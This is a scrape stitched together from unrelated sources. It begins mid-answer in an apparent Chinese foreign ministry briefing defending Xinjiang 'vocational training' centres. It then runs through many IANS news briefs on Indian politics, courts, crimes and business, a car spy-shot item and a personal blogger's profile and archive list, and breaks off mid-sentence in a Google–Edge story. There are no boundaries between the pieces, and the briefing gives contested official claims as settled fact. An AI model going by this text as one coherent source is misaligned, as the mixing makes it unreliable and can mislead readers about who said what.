forced labor as reported by the US media. As Shohrat Zakir, Chairman of the Government of Xinjiang Uygur Autonomous Region, said in an interview in October, vocational learning at the vocational education and training institutions in Xinjiang is taken as a key way to help trainees find employment. Courses on clothing and footwear making, food processing, electronic product assembly, typesetting and printing, hairdressing and e-commerce have been set up to suit local social needs and job market. Multi-skill training is provided to trainees who have the desire and capability to learn, so that they acquire one to two vocational skills upon graduation. Businesses in garment making, mobile phone assembly and ethnic cuisine catering are arranged by the local government to offer trainees practical opportunities. In the meantime, they are paid wages in a certain way. The mechanism has taken shape in which the trainees can "learn, practice and earn money." According to what I have learned, southern Xinjiang alone has 22 counties and 1.63 million people stuck in deep-rooted poverty. The poverty eradication measure for Xinjiang in 2018 is to have a per capita disposable income of around 3,300 yuan, which is less than 400 yuan a month. Through making their own choices on the vocational training and employment opportunities, the trainees can basically help realize the goal of "one member gets employed, the whole family gets lifted out of poverty" as they embark on a new journey of their life. If this is called "forced labor" or even "human rights crisis", I would like to ask the Washington Post and other US media to interview those ethnic minority groups in their country struggling on the brink of poverty and unemployment, asking them how they think of this issue and whether they regard such vocational training as "crisis" or "opportunity". I also want to ask those US media who have been working tirelessly to demonize China's efforts on counter-terrorism, de-extremism and poverty eradication, what have you done in face of the 45 million poverty-stricken people and grave racial discrimination issues in the US? We warn these media and people in the US that they should not let ignorance and foolishness blind their sights, and arrogance and prejudice evacuate their minds of reason. Q: Are the reports true that the Canadian detained will be returned to Canada soon? A: I am not aware of that. I would refer you to the relevant public security authority. Like I said, she was imposed administrative penalty by the public security authority for illegal employment. Q: Is the case of the Canadian who was imposed administrative penalty the same with the one involving the two Canadians that have been detained by Chinese state security departments in terms of nature? A: The former two Canadian nationals were imposed compulsory measures by China's national security departments on suspicion of engaging in activities that endanger China's national security. The person you just mentioned was imposed administrative penalty by public security authority for illegal employment. Q: You mentioned that we could ask the relevant authorities for more information. In the case of the first two Canadians, the authority was the the Beijing State Security Bureau and the State Security Bureau of Dandong City, Liaoning Province. And in this case, is it also the state security departments we should contact or is it the Ministry of Public Security or some other government agency? A: Like I just said, it is the security authority in the cases of the two Canadians and the public security authority in the case of this Canadian citizen. Q: Australian academic Kevin Carrico said that he was followed by the staff of Wen Wei Po media in Hong Kong, which could be the Chinese government's way of intimidating him and preventing people from talking to him or a signal to Hong Kong to refuse entry on his next visit. What is your comment? A: Don't you think the logic here is quite ridiculous, this Australian academic you mentioned claiming he was stalked by a Hong Kong media agency as a way to intimidate him by the Chinese government? I'm not aware of the situation at all, but I believe his logic is very absurd and untenable. Q: Is this right that the problem with this Canadian's visa was not that it was out of date, but rather she had the incorrect work visa for the type of work she was doing. Is that right? A: Your question is rather specific. If you want to learn more details, you may refer to the relevant public security authority. What I can tell you is that she was imposed administrative penalty due to illegal employment. Q: The US administration has signed into law the Reciprocal Access to Tibet Act of 2018 which could result in some Chinese officials being banned from access to the US. What is your comment? A: We express strong opposition to the US, who is obstinate in signing into law the so-called Reciprocal Access to Tibet Act of 2018 adopted at the Congress. Just as we pointed out on many occasions, the act has severely violated the basic norms governing international relations, grossly interfered in China's domestic affairs, sent out a seriously wrong signal to the Tibet Independence separatist forces and been highly detrimental to the exchanges and cooperation between China and the US. I have to stress that Tibet affairs are purely China's domestic affairs and allow no interference from other countries. Tibet and the Tibetan-inhabited areas in other four provinces are open to foreigners. Since 2015, nearly 40,000 visits have been made to Tibet by Americans alone. Besides, considering the geographical conditions and climate there, it is entirely necessary for the Chinese government to take certain administration measures on the access to Tibet by foreigners in accordance with laws and regulations, which is beyond reproach. The relevant accusations leveled against China by the US act disregard the facts and are fraught with biases. We will never accept that. If the US puts this act into effect, it will certainly cause serious harm to the bilateral relations and exchanges and cooperation in key areas. The Chinese side will surely take forceful measures to firmly safeguard its own interests. China's door to the outside world will only open wider and wider, and Tibet will become more and more open. China welcomes more and more foreigners to Tibet for visit, travel and business, and this policy will remain unchanged. But the precondition is that they must abide by the Chinese laws and relevant regulations and go through necessary procedures. We urge the US side to fully realize the highly sensitive nature of Tibet-related issues, stop using them to interfere in China's internal affairs and refrain from putting the act into effect, otherwise the US itself has to bear all the consequences that may cause. A new research on Thursday revealed that 66 per cent of Indians see travel as a potential opportunity to earn a living as a social media influencer or travel blogger, as opposed to having a traditional full-time job. The findings, conducted by the travel e-commerce company Booking.com, also showed that over three fifths (63 per cent) of travellers admit it's an ambition of theirs to use travel to launch a social media career. "From looking to favourite social media influencers for genuine travel inspiration, to considering making a career out of travel itself and sometimes falling to the pressures of having an online presence, the research reveals how social media will continue to change the way we travel in 2019," the company said in a statement. Seven in 10 Indian travellers (71 per cent) confirmed that they are excited about the prospect of space travel in 2019 and beyond and are open to considering the experience themselves. Three in five (60 per cent) travellers say they would rather stay in accommodation under the sea than in space. The research reveals that 53 per cent of Indian travellers look at where celebrities stay and try to find accommodation that looks similar. The research was conducted among a sample of adults who have taken a trip in the last 12 months or plan to take a trip in the next 12 months. Nearly 21,500 respondents were polled from countries including India, Australia, Germany, France, Spain. --IANS vc/na/sed (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Delhi's ruling Aam Aadmi Party and the oppositin BJP on Thursday traded charges in the Assembly over delay in the Metro Phase IV project, a day after the city government approved 103-km long six new corridors of the Delhi Metro Rail Corporation (DMRC). Responding to Vote of Thanks motion by ruling party to congratulate Delhi government, the ruling party and the opposition blamed each other for delaying the project. Slamming the BJP, Deputy Chief Minister Manish Sisodia alleged the saffron party created hurdles in the project. "Despite BJP's conspiracy, the AAP dispensation cleared the Phase-IV of Delhi Metro for the benefit of Delhiites. Travelling by metro is a necessity for the people," he said. Sisodia alleged "fictitious" calculations in estimates pointing to the cost of the project, which was earlier Rs 57,000 crore and is now scaled down to Rs 46,000 crore. "They (BJP) fight to take credit of metro phase IV, but we fight for the people of Delhi. Based on fictitious calculation, they tried to stall Phase IV of Metro by hatching a conspiracy." Leader of Opposition in the Assembly Vijender Gupta, on the other hand, blamed AAP government for delaying the project for three years. Gupta questioned the ruling party as to why the project was delayed for three years and sought to know what changed during this period that they cleared it now. "You are trying to misguide the people. After three years what has changed that you clear it now," he said amid interruptions by ruling party legislators. Opposition MLA Manjinder Singh Sirsa accused the AAP government for delaying the project for three years to "allow benefits to App-based cab services Ola and Uber". On recent Metro fare hike, Sisodia said the Delhi government should have the power to reduce the fare and a say in the fare decision. "I can ensure that if given power, we will reduce metro fare hike by 25 to 30 per cent", alleging that the BJP does not want the fares to come down. Sirsa countered Sisodiya saying the government should reduce the fare and the BJP MLAs from Delhi will support the reduction. Transport minister Kailash Gahlot also countered Opposition's allegations saying there were several reasons that led to the delay in the project. "We were in regular touch with the Centre about it. The files took rounds 4-5 times. Also, the Goods and Services Tax (GST) was introduced that led to recalculations of the estimates," Gahlot told the House. --IANS nks/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Giving a jolt to the BJP ahead of the Lok Sabha polls, former Union Minister and one-time ally, Upendra Kushwaha, joined the Congress-led UPA on Thursday and declared his party Rashtriya Lok Samta Party (RLSP) will contest the elections as part of a 'grand alliance'. Kushwaha, who on December 10 quit as the junior human resource development minister and the BJP-led NDA, joined the United Progressive Alliance (UPA) at the Congress headquarters here in the presence of RJD leader Tejashwi Yadav, Loktantrik Janata Dal leader Sharad Yadav, Hindustani Awam Morcha Jitan Ram Manjhi and Congress Treasurer Ahmed Patel. The development came on a day when another "disgruntled" BJP ally Lok Janshakti Party (LJP) chief and Union Minister Ram Vilas Paswan and his son Chirag met Bharatiya Janata Party (BJP) president Amit Shah in the national capital. The LJP is said to be unhappy with the BJP over seat-sharing in Bihar ahead of the 2019 Lok Sabha elections. Chirag Paswan on Wednesday had admitted to a "few concerns" and had said "It was for the biggest party in our alliance, the BJP, to address the concerns". He had also praised the Congress for raising "real" issues of the youth and farmers during the recently concluded Assembly polls in five states. Kushwaha, who is the second BJP ally to quit the Modi government after the Telugu Desam Party (TDP), was unsparing in his attack on Bihar Chief Minister Nitish Kumar as well Prime Minister Narendra Modi. Addressing the media, Kushwaha accused Nitish Kumar of attempting to weaken and destroy the RLSP in connivance with the BJP. "Nitish Kumar is a big conspirator. He got help from Delhi government. He decided that Kushwaha has to be demolished so that he will not be able to take up the issues of Bihar," he said. Kushwaha attacked Modi for betraying his promises made during the 2014 election campaign, of addressing the issues of education, jobs and healthcare for the people of Bihar. "But on all fronts, he failed to fulfill his promises. There was a difference between his talk and action. I never believed there could be so much difference," he said. He also praised Congress President Rahul Gandhi for honouring the party's promises of loan waiver for farmers in Madhya Pradesh, Rajasthan and Chhattisgarh where the party has formed the government after winning the recent Assembly polls. Former Bihar Deputy Chief Minister and RJD leader Tejashwi Yadav said a "pre-poll grand alliance" was imperative to defeat the BJP government at the Centre. Asserting that first steps towards forging a grand alliance was being taken, Tejashwi also hinted at paying court to the LJP to the United Progressive Alliance (UPA). "There was speculation about whether Kushwaha would join the UPA. Today his party is part of the grand alliance. It was Kushwaha's decision to join, nobody forced him. "Similarly whether or not the LJP will join the grand alliance, that is their decision. But the country's (political) climate is changing, you need to wait and see," said Tejashwi. While Tejashwi remained tight-lipped about any bid to woo Paswan to the grand alliance, sources said leaders of the Congress and the RJD were mulling a meeting with the LJP supremo. He accused Prime Minister Narendra Modi of imposing an "undeclared emergency" in the country and wrecking democratic institutions, saying a "pre-poll grand alliance" of opposition parties was the need of the hour. "If we don't unite, people will not forgive us," he said exuding hope that Akhilesh Yadav-led Samajwadi Party (SP) and Mayawati's Bahujan Samaj Party (BSP) would sooner or later become a part of the anti-BJP "grand alliance". "Like-minded parties opposed to the BJP are steadily uniting. Both the SP and the BSP need not be told, they know what they should do. And I believe, their decision would be based on what the people of the country want, which is to get rid of the Modi government," he said. Remaining evasive about whether his party was open to the idea of Rahul Gandhi being the prime ministerial face of the grand alliance, Tejashwi praised the leadership qualities of the Congress President. "The issue is not who will be the Prime Minister, the issue is whether our Constitution, our country will be will be protected or not from the BJP onslaught. "The recent Assembly poll results have displayed Gandhi's leadership qualities. The way he is striving to bring all opposition parties to a single platform is praiseworthy. I believe opposition parties are uniting and we will together defeat the Modi regime," added Tejashwi. --IANS and/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Lt General Ranbir Singh, the Northern Army Commander, on Thursday visited forward positions on the Line of Control (LoC) in Poonch and Jammu districts of Jammu and Kashmir. Defence Ministry spokesman Lt Col Devender Anand said here that Gen Ranbir Singh was accompanied by White Knight Corps Commander, Lt Gen Paramjit Singh. They visited forward posts of Poonch and Akhnoor sectors to review the operational preparedness and the prevailing security situation. "During the visit to the sectors, the Army Commander was briefed by the commanders on ground about the current operational and prevailing security situation and the preparedness of the formations in dealing with the same. "The Army Commander was also briefed on the actions being taken to ensure a robust counter infiltration and counter terrorist grid to enable continued peace and stability in the region. "The Army Commander interacted with the soldiers and complimented them for their unwavering dedication to duty, selfless devotion and high standard of professionalism. "He appreciated the measures and standard operating procedures instituted by the units and formations in their area of responsibility to minimize the casualties due to ceasefire violations (by Pakistan) and infiltration bids (by terrorists). "The need to be prepared for effectively meeting emerging security challenges was also reinforced. He exhorted all ranks on the need to remain vigilant to counter the nefarious designs of the enemy and anti-national elements." --IANS sq/mr (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Lt General Ranbir Singh, the Northern Army Commander, on Tuesday advised troops deployed on forwards positions on the Line of Control to ensure safety of people living along the border during ceasefire violation by Pakistan and also effectively prevent infiltration by terrorists. Defence Ministry spokesman Lieutenant Colonel Devender Anand said in winter capital Jammu that Lt General Ranbir Singh was accompanied by White Knights Corps Commander, Lt General Paramjit Singh. "They visited forward posts of Poonch and Akhnoor sectors to review the operational preparedness and the prevailing security situation. "During the visit to the sectors, the Army Commander was briefed about the current operational and prevailing security situation besides the preparedness of the formations, said the spokesman. "The Army Commander was also briefed on the actions being taken to ensure a robust counter-infiltration and counter-terrorist grid to enable continued peace and stability in the region," he said. "The Army Commander also interacted with the soldiers and complimented them for their unwavering dedication to duty, selfless devotion and high standard of professionalism," the spokesman added. The Pakistan Army has been violating ceasefire by targeting military and civilian facilities. Pakistan troops have violated ceasefire on the LoC and the International Border in J&K, 1,432 times in 2018 -- the highest in the last eight years, sources said. --IANS sq/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) After a fortnight-long high-octane campaign by the ruling BJP and Congress, the by-election to the Jasdan assembly seat in Gujarat's Saurashtra region went off peacefully with over 72 per cent voters casting their votes on Thursday. Though election officials were counting the total number of votes cast, officials stated the polling percentage could only be slightly higher, athough it might not match the 73.44 per cent voting in the 2017 state Assembly polls. The results are expected on Sunday. "There was a complaint from the Congress against BJP candidate Kunwarji Bawaliya for allegedly threatening voters at a couple of places. We are ascertaining the veracity," Chief Electoral Officer Murli Krishna told IANS. There was not a single incident of violence or trouble reported from any polling station, Krishna said. He said there were some reports of intimidation of voters. "Police teams were immediately sent which found the reports inconsequential," he said. Meanwhile, three VVPAT (voter-verified paper audit trail) machines had to be replaced after their batteries got discharged. He also said the Election Commission closely monitored the social media as well as television channels, including regional channels to ensure there was no provocation. The by-election was necessitated after five-time Congress legislator Kunwarji Bawaliya resigned as MLA and joined the BJP in July this year, just six months after he won from the seat on a Congress ticket. Being a senior Koli community leader, Bawaliya was apparently inducted to Chief Minister Vijay Rupani's Cabinet the very day he resigned and joined the ruling party. The Congress fielded Aksar Nakiya, a grassroots-level taluka panchayat member and once a campaign manager of Bawaliya. He is also a Koli community member. The Election Commission had set up 262 polling booths to ensure free and fair voting in 103 villages and one town in Jasdan, Vinchhiya and Gondal talukas of Rajkot district. While 165 of the polling stations were in Jasdan taluka, Vinchhiya and Gondal talukas have 90 and seven, respectively. As many as 1,140 personnel were deployed for election duty. There were in all 2,32,116 registered voters, 1,21,180 of them are men and 1,09,936 are women. --IANS desai/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A constable of Bihar Military Police has been shot dead by a colleague with his service rifle in Muzaffarpur district, police said on Thursday. Premchand Kumar, a BMP constable shot dead Manish Kumar late on Wednesday when he was sleeping in the barrack. The accused was depressed and mentally disturbed for the last few days, according to BMP officials. He was arrested soon after and his service rifle was also seized, Muzaffarpur Senior Superintendent of Police Manoj Kumar said. --IANS ik/in (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Bombay High Court on Thursday confirmed the death penalty awarded by a lower court to Chandrabhan Sudam Sanap, convicted of the sensational 2014 rape-cum-murder of an Andhra Pradesh techie, Esther Anuhya in Mumbai. A division bench comprising Justice Ranjit More and Justice Bharati Dangre, confirming a women's court verdict of December 2015 observed that the case fell in the "rarest of rarea category" and had "shocked the conscience of society." The court further said that they had not seen any "remorse" on the (then) 28-year-old accused, did not see possibility of any reform, and "such a person remains a menace to society." It was on January 5, 2014 when Esther, a 23-year old software engineer with Tata Consultancy Services (TCS), was offered a lift by Sanap on his motorcycle from Lokmanya Tilak Terminus to her hostel in Andheri West. Sanap raped and murdered Esther. Subsequently he burnt and disposed of her body at a desolate area on the Eastern Express Highway near Bhandup before driving away. Her half-burnt and decomposed body was found after 11 days when some pedestrians reported it. Investigators who cracked the case nearly two months after she was reported missing said Sanap was a mobile phone thief and robbery was the main motive behind the crime. That fateful morning around 5 a.m. Esther had returned by train to Mumbai by the Vishakhapatnam-LTT Express, after celebrating Christmas and New Year with her family in Machilipatnam. En route, Sanap stopped the bike on the pretext that it had run out of petrol, then grabbed and dragged Esther to the bushes in the foggy darkness. She strongly resisted him, but he repeatedly clobbered her with stones, raped and strangled her with a dupatta, took her two bags containing a laptop and other valuables and fled. Later, he came back to search for her mobile phone but could not find it. He burnt her body and again left the crime scene. Amid a series of protests and massive public support for Esther, the Mumbai Police and Railway Police succeeded in solving the case with the help of CCTV camera footages of that morning near the LTT premises and mobile call records. --IANS qn/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A 42-year-old British national was raped by unknown persons near the popular Palolem beach in south Goa, police said on Thursday. The incident occurred at 4.30 a.m. when the victim was walking from the Canacona railway station to her rented home near Palolem village, Police Inspector Rajendra Prabhudessai told reporters here. "We have drawn up a list of suspects based on the description given to us. Investigations are on," the official said. Officials from the Crime Branch are assisting the South Goa district police in the investigation. A First Information Report has been filed under Section 376 of the Indian Penal Code (IPC). The victim has been an annual visitor to the coastal state for several years. Goa is a popular tourism destination attracting more than seven million tourists every year, half a million being foreign nationals. The tourism season in Goa starts in October and winds up in March. Over the last decade, crimes against foreigners, especially women, has been a cause for concern in Goa, especially after the sexual assault and subsequent death of a British teenager Scarlett Keeling in 2008. --IANS maya/mag/mr (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Calcutta High Court on Thursday gave conditional permission to the Bharatiya Janata Party's Rath Yatra rallies, saying the organisers will be liable for any untoward incident or damage to public property. The state government had last week rejected BJP's plea to hold the 'Rath Yatra', touted as the 'save democracy rally', saying there was "grave apprehension of major breach of peace and communal violence during and in the aftermath" of the programme. The BJP had moved a single bench of the Calcutta High Court on December 17 after the Bengal government's decision and proposed December 22, 24 and 26 as fresh dates for the three Rath Yatra rallies. Acting on a fresh plea filed by the saffron party, Justice Tapobrata Chakraborty allowed the rallies to be taken out, but said the organisers have to inform the police superintendent of the district concerned 12 hours before taking out the yatra. He said the organisers would be liable for any untoward incident or damage to public property during the rallies and directed the state police to deploy adequate force to ensure that there is no breach of law and order. The court has also asked the organisers to make sure that rallies do not affect the vehicular traffic on the state highways and arterial roads. Welcoming the verdict, the state BJP leadership termed it as a victory of democracy and said they would hold discussion with the party's senior leadership in Delhi before officially announcing the dates. "We welcome the verdict. It is a victory of democracy and the democracy-loving people of the state. We will follow the court's directives to conduct the rallies. The court has not mentioned any dates in its verdict. As of now our dates are as announced earlier. But we will discuss the matter and take the final call," said state BJP leader Jay Prakash Majumder after the verdict. "We ask the Trinamool Congress activists not to impede us from conveying our message to the common people. Let the people decide whether they would accept us or not. That is how a democracy should function. So Trinamool should not create any obstruction in our programmes," he added. When asked if the party is ready to fight the state government which may move a division bench in the High Court to seek a stay on the current order, the BJP leader said, "They have the right to do so. But we have said before that no one would be able to stop BJP's 'save democracy' rallies. We have full faith in court and the constitution." The BJP was originally scheduled to hold three Rath Yatra rallies from north Bengal's Cooch Behar, South 24 Parganas district's Gangasagar and Birbhum district's temple town of Tarapith, flagged off by party president Amit Shah on 7, 9 and 14 respectively. These rallies were meant to touch all 42 Lok Sabha constituencies in the state before converging at Kolkata in January. --IANS mgr/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Shanghai (Gasgoo)- The spy shots of the Geely Emgrand GL HEV's test mule were exposed in recent days. The new HEV model is expected to go on sale next summer, according to local media. Patent image of Geely Emgrand GL PHEV The Geely Emgrand GL HEV displays a striking resemblance to the PHEV version unveiled before. However, we can still find out that there is no charging port located in the left front fender despite a heavy camouflage, which is different from the PHEV version. Besides, the blue hubs indicate that the vehicle is driven by a hybrid powertrain. 2018 Geely Emgrand GL Inside, the HEV model looks highly similar to the existing fuel burning version, in addition to an electronic gear lever. It features a well-design interior arrangement which is especially characterized by a three-spoke flat bottomed steering wheel and a large-sized display in the center console. The new model is expected to carry a hybrid power system including a 1.5-litre turbocharged engine. Other power details have not been disclosed yet. The Blue Geely initiative powered by a NEV lineup consisting of such models as the Emgrand EV, the Emgrand GSe and the Borui GE seems to acquire a preliminary achievement. In November, a total of 10,575 NEVs were sold by the automaker. About Me Sandpoint, Idaho, United States Visit wwww.mariannelove.com to learn more about my three books "Pocket Girdles," "Postcards from Potato Land" and "Lessons with Love." visit www.mariannelove.com. For autographed copies, contact me at potatohead89@hotmail.com. Books are also available at www.amazon.com. I'm 65, married, mother of two, retired English/journalism teacher and freelance writer. Besides writing, I enjoy gardening, photography, geocaching, horses and traveling. My quirky, sometimes irreverent sense of humor comes naturally through family genes. So, bear with me. View my complete profile Blog Archive Blog Archive December (2) November (30) October (31) September (29) August (31) July (31) June (30) May (31) April (30) March (31) February (28) January (31) December (31) November (29) October (31) September (30) August (31) July (31) June (30) May (31) April (30) March (31) February (29) January (31) December (31) November (30) October (30) September (29) August (31) July (31) June (30) May (31) April (30) March (31) February (28) January (31) December (31) November (30) October (30) September (31) August (31) July (31) June (30) May (31) April (30) March (31) February (28) January (31) December (31) November (30) October (31) September (30) August (31) July (30) June (30) May (31) April (30) March (31) February (28) January (31) December (31) November (30) October (31) September (30) August (31) July (31) June (30) May (31) April (30) March (31) February (29) January (31) December (31) November (31) October (31) September (30) August (31) July (31) June (30) May (31) April (30) March (31) February (28) January (31) December (31) November (30) October (31) September (30) August (30) July (31) June (31) May (31) April (29) March (30) February (28) January (31) December (31) November (30) October (31) September (30) August (31) July (31) June (30) May (31) April (30) March (31) February (28) January (31) December (31) November (30) October (31) September (30) August (31) July (31) June (30) May (31) April (30) March (31) February (29) January (31) December (31) November (30) October (30) September (30) August (31) July (32) June (30) May (31) April (30) March (50) February (72) January (63) December (64) November (47) October (71) September (48) August (70) July (104) June (91) May (85) April (80) March (80) February (52) January (92) December (187) November (63) October (96) September (117) August (92) July (103) June (160) May (141) April (69) March (81) February (71) January (106) December (81) November (67) October (107) September (74) August (114) July (117) June (92) May (103) April (66) March (43) February (38) January (83) December (76) November (77) October (66) September (87) August (68) July (74) June (66) May (90) April (60) March (49) February (54) January (70) December (64) November (30) October (45) September (32) August (39) July (48) June (34) May (40) April (40) March (38) February (47) January (35) December (40) November (47) October (48) September (37) August (35) July (34) June (31) May (33) April (33) March (33) February (31) January (30) December (32) The Union Home Ministry has suspended Gujarat-cadre Indian Police Service (IPS) officer Rajnish Rai for his alleged role in "abdicating" his office on November 30 as the Inspector General and Principal of Central Reserve Police Force (CRPF) training school at Chittoor in Andhra Pradesh. The 52-year-old 1992-batch IPS officer, who had arrested D.G. Vanzara and two other IPS officers in the Sohrabuddin Sheikh alleged fake encounter case in 2007, was placed under suspension as per December 17 order passed by the Home Ministry under the provisions of the All India Services (Discipline and Appeal) Rules. He was serving as Inspector General and Principal of the Counter Insurgency and Anti-Terrorism (CIAT) School of the CRPF. Rai will have to stay at the CRPF headquarters at Chittoor during the period the order remains in force, and cannot leave the headquarters without the permission of the Director General CRPF, said the Ministry order. Rai had earlier this year sought voluntary retirement from November 30 after completing 50 years of age under the provisions of the All India Services (Death-Cum-Retirement Benefit) Rules, 1958, but the Centre rejected his request in October. He moved the Central Administrative Tribunal (CAT) in Ahmedabad challenging the rejection. The CAT will be hearing the matter on January 1. In August 2014, Rai was transferred out of Gujarat as Chief Vigilance Officer of Uranium Corporation of India Limited (UCIL) at Jaduguda in Jharkhand. In April 2015, he was transferred to the CRPF office at Shillong. After his report on suspected fake encounters in the North-East, he was transferred to the CIAT at Chittoor and a "departmental misconduct" charge sheet was served on him, Rai had alleged. He moved the CAT at Hyderabad against the chargesheet. The tribunal stayed the proceedings against him. --IANS rak/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A 15-year-old Dalit girl, who was set on fire by two unidentified men in Uttar Pradesh here, has succumbed to her injuries in a Delhi hospital after struggling for life for 36 hours, police said on Thursday. The Class 10 student, identified as Sanjali, died late on Wednesday in Safdarjung Hospital, authorities said. On Tuesday afternoon, two bike-borne attackers stopped the student on her way home in Lalau village, 20 kms from here, and emptied a bottle of petrol on her and set her ablaze. She was rushed to the SN Medical College with 75 per cent burns and then referred to the Safdarjang Hospital in the national capital. The accused have not been traced yet, police said. --IANS bk/mag/in (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A Delhi court on Thursday granted interim bail to former Railway Minister Lalu Prasad till January 19 in two separate cases related to the 2006 IRCTC hotels maintenance contract. Lalu Prasad appeared before Special Judge Arun Bhardwaj through video conferencing. The court directed the Central Bureau of Investigation (CBI) and the Enforcement Directorate (ED) to file a reply on Lalu Pradad's bail pleas. Lalu Prasad is suffering from ill health and is being treated for various ailments at the Rajendra Institute of Medical Sciences (RIMS) in Ranchi. He was in Ranchi's Birsa Munda Central Jail after being convicted in December 2017 in the fodder scam. Later, he was shifted to RIMS for treatment. The Delhi court was hearing a case related to alleged irregularities in the allotment of contracts of the Indian Railway Catering and Tourism Corp (IRCTC) hotels in Ranchi and Puri in 2006 to a private firm, for which a three-acre commercial plot at a prime location in Patna district was allegedly given as a bribe. The CBI and ED had named Lalu Prasad, his wife and former Chief Minister Rabri Devi, their son Tejashwi Yadav and others as accused in the chargesheet. Rabri Devi, Tejashwi Yadav and others were granted regular bail. In the case probed by ED, the court extended interim bail granted to Rabri Devi, Tejashwi Yadav and others till January 19, the next date fixed for hearing. --IANS akk/mr (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Delhi High Court on Thursday asked the city police not to take any coercive steps against Air India pilot Arvind Kathpalia, accused of violating aircraft rules and tampering with evidence. Justice Mukta Gupta, who was hearing an anticipatory bail plea of Kathpalia, directed the pilot to join the investigation. The Indian Pilots Association has alleged that Kathpalia on January 19, 2017, operated a back and forth flight from New Delhi to Bengaluru without undergoing the mandatory pre-flight breath analyser test. The Delhi Police has registered an FIR accusing him of destruction of evidence and forgery under sections of the Indian Penal Code and provisions of the Aircraft Act. On November 13, the Centre removed Kathpalia from the post of Director - Operations after he skipped the pre-flight breath analyser test. Earlier, his flying licence was suspended by aviation regulator Directorate General of Civil Aviation (DGCA). --IANS akk/nir (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) In a crackdown on Maoist leaders in Bihar, the Enforcement Directorate (ED) has filed prosecution complaint against a top leader of the rebel group and attached properties worth Rs 285.14 lakh of four others under the Prevention of Money Laundering Act, the agency said on Thursday. The ED has filed a prosecution complaint or chargesheet against Pradumn Sharma, in-charge of Magadh Zone of CPI (Maoists), and has attached his properties valued at Rs 68 lakh. The agency also attached the immovable properties worth Rs 86 lakh, Rs 54.14 lakh and Rs 77 lakh (which included JCB, SUVs and buses) belonging to Maoist leaders Sandeep Yadav, Musafir Sahni, Anil Ram, and Binay Yadav (active commander of Bihar Regional Committee of CPI-Maoist) respectively. "The present market value of these immovable properties is several crore rupees," said an ED statement. ED investigators said that Sharma had laundered extortion money of Rs 2 crore layered through several bank accounts which was ultimately invested in immovable property held by his family members. "A part of the extortion money was used for admission of Sharma's niece in a prominent medical college," the statement, adding the annual fees of the college is Rs 24 lakh. "Binay Yadav has also been found laundering extortion money of Rs 1.50 crore using several bank accounts and the laundered money is ultimately used for movable and immovable properties. Musafir Sahni has also laundered extortion money and the same was invested in 11 plots of land in Vaishali in the name of his family members. Anil Ram had used extortion money in the acquisition of six immovable properties and truck on benami names," said the officials. --IANS rak/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Social media, specifically Facebook, could be a way to reach people living in areas where information about cancer prevention might otherwise be lacking, suggests a study. The findings showed that new strategies of communication can be an effective way to reach hard-to-reach populations with information and strategies for cancer prevention. In the study, researchers from the University of Colorado started an initiative called EndCancer to explore ways to remind patients to go for colonoscopy that detects changes or abnormalities in the large intestine (colon) and rectum. "The idea was to start a text messaging campaign for cancer prevention," says Andrea Dwyer from the University of Colorado Cancer Center. The advertising included radio slots, Facebook promotions and even locally posted flyers encouraging people in the community to text a given number to opt into information and reminders about cancer screening. While radio and flyers were largely unsuccessful in driving enrolment, Facebook advertising resulted in 22,600 users exposed to ads. "Facebook was a good mechanism. Engagement was high with Facebook ads, and those who viewed ads clicked through to the sign-up page, an indication of intent to enrol," Dwyer said. And once people signed up, they stayed enrolled. A full 96 per cent of participants who texted to sign up stayed enrolled to receive all planned information/reminders in places that patients will notice, said researchers in a paper published in the journal mHealth. --IANS rt/mag/bg (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) US major GE Renewable Energy has been selected by Indian clean energy firm ReNew Power to provide 120 GE 2.5-132 turbines for the Gadhsisa Wind Farm in Gujarat, according to a GE statement. A company statement here on Wednesday said the wind farm with a proposed installed capacity of 300 MW will be the largest full turnkey project by GE Renewable Energy in India. The project will power the equivalent of 11 lakh homes in India with clean and reliable electricity, it said. "ReNew Power successfully bid for this project in the third round of auctions conducted by the Solar Energy Corporation of India in February," it said. "The 2.5-132 turbines have been designed primarily at GE's technology centre in Bengaluru, and built on learnings from more than 22,000 GE wind turbines around the world. "This turbine is a significant improvement over previous versions, with improved rotor diameter, wind capture and 30 per cent more Annual Energy Production (AEP) than GE's 2.3-116 turbine." GE's current footprint in India expands across 37 wind farms, and has 1.8 gigawatt (GW) of capacity across the country, it added. Commenting on the development, Mahesh Palashikar, Region Leader for GE Renewable Energy's Onshore Wind business in Asia, said in the statement: "This is an important milestone for GE in India and this relationship with ReNew will help us expand our turnkey capabilities across Asia." According to the statement, GE has also recently introduced its 2.7 MW low windspeed machine turbine, including the largest-ever rotor installed in India, which is currently being tested in Gujarat. --IANS bc/mag/sed (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Google has denied it altered YouTube code to break Microsoft Edge, thus slowing down its performance while users streamed YouTube videos -- a claim made by a former Microsoft intern. Microsoft Edge is a graphical web browser included in Windows 10, Windows 10 Mobile and Xbox One devices, replacing Internet Explorer as the default web browser. According to a report in The Verge on Wednesday, Google disputed the claims made by Joshua Bakita, a former software engineering intern at Microsoft, who said that the company added a "hidden empty div over YouTube videos" that slowed down streaming on Microsoft Edge. According to Google, it merely fixed a bug in YouTube. "YouTube does not add code designed to defeat optimizations in other browsers, and works quickly to fix bugs when theyare discovered," a YouTube spokesperson was quoted as saying. Microsoft, however, was yet to comment on the specific claim made by its former intern. "Google has been a helpful partner and we look forward to the journey as we work on the future of Microsoft Edge," it told The Verge. Earlier, in a post on Hacker News, Bakita revealed details of a YouTube incident that convinced some Edge browser engineers that Google added code to purposely break compatibility. "One of the reasons we (Microsoft) decided to end EdgeHTML was because Google kept making changes to its sites that broke other browsers, and we couldn't keep up," claimed Bakita. Google added a "hidden empty div over YouTube 